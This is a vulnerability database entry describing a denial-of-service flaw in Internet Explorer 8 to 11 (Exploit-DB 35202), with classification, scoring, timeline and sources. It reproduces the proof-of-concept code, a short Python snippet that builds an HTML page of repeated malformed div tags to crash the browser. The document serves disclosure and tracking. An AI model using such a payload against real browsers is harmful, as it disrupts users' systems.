Microsoft Internet Explorer 8/9/10/11 denial of service

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A vulnerability classified as problematic has been found in Microsoft Internet Explorer 8/9/10/11 (Web Browser). This affects an unknown part. The manipulation with an unknown input leads to a denial of service vulnerability. CWE is classifying the issue as CWE-404. The product does not release or incorrectly releases a resource before it is made available for re-use. This is going to have an impact on availability.

The issue has been introduced in 03/05/2008. The weakness was released 11/10/2014 by Behrooz Abbassi as 35202 as confirmed entry (Exploit-DB). It is possible to read the advisory at exploit-db.com. The vendor was not involved in the public release. It is possible to initiate the attack remotely. No form of authentication is needed for exploitation. It demands that the victim is doing some kind of user interaction. Technical details are unknown but a public exploit is available. The attack technique deployed by this issue is T1499 according to MITRE ATT&CK.

A public exploit has been developed by Behrooz Abbassi in HTML/Javascript and been published even before and not after the advisory. The exploit is shared for download at exploit-db.com. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 2441 days. During that time the estimated underground price was around $5k-$25k. The code used by the exploit is:

FuckIE="""<!DOCTYPE html>\n<html>\n<head><title>IE D.O.S</title>\n</head>\n<body>\n %s </body>\n</html>\n"""
 
rubbish  = """  <div class="First"><div class="Two"/> :-)<div class="Three"> </div>\n""" * 1021
 
IE_DOS =FuckIE %rubbish

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

The vulnerability is also documented in the databases at X-Force (98730) and Exploit-DB (35202).

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VulDB Meta Base Score: 4.3
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Class: Denial of service
CWE: CWE-404
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Local: No
Remote: Yes

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Access: Public
Status: Proof-of-Concept
Author: Behrooz Abbassi
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03/05/2008 🔍
10/28/2014 +2428 days 🔍
11/10/2014 +13 days 🔍
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11/19/2014 +9 days 🔍
04/07/2017 +870 days 🔍

Sourcesinfo

Vendor: microsoft.com

Advisory: 35202
Researcher: Behrooz Abbassi
Status: Confirmed
X-Force: 98730 - Microsoft Internet Explorer HTML denial of service, Medium Risk

scip Labs: https://www.scip.ch/en/?labs.20161013

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Created: 11/19/2014 10:21
Updated: 04/07/2017 12:12
Changes: 11/19/2014 10:21 (55), 04/07/2017 12:12 (1)
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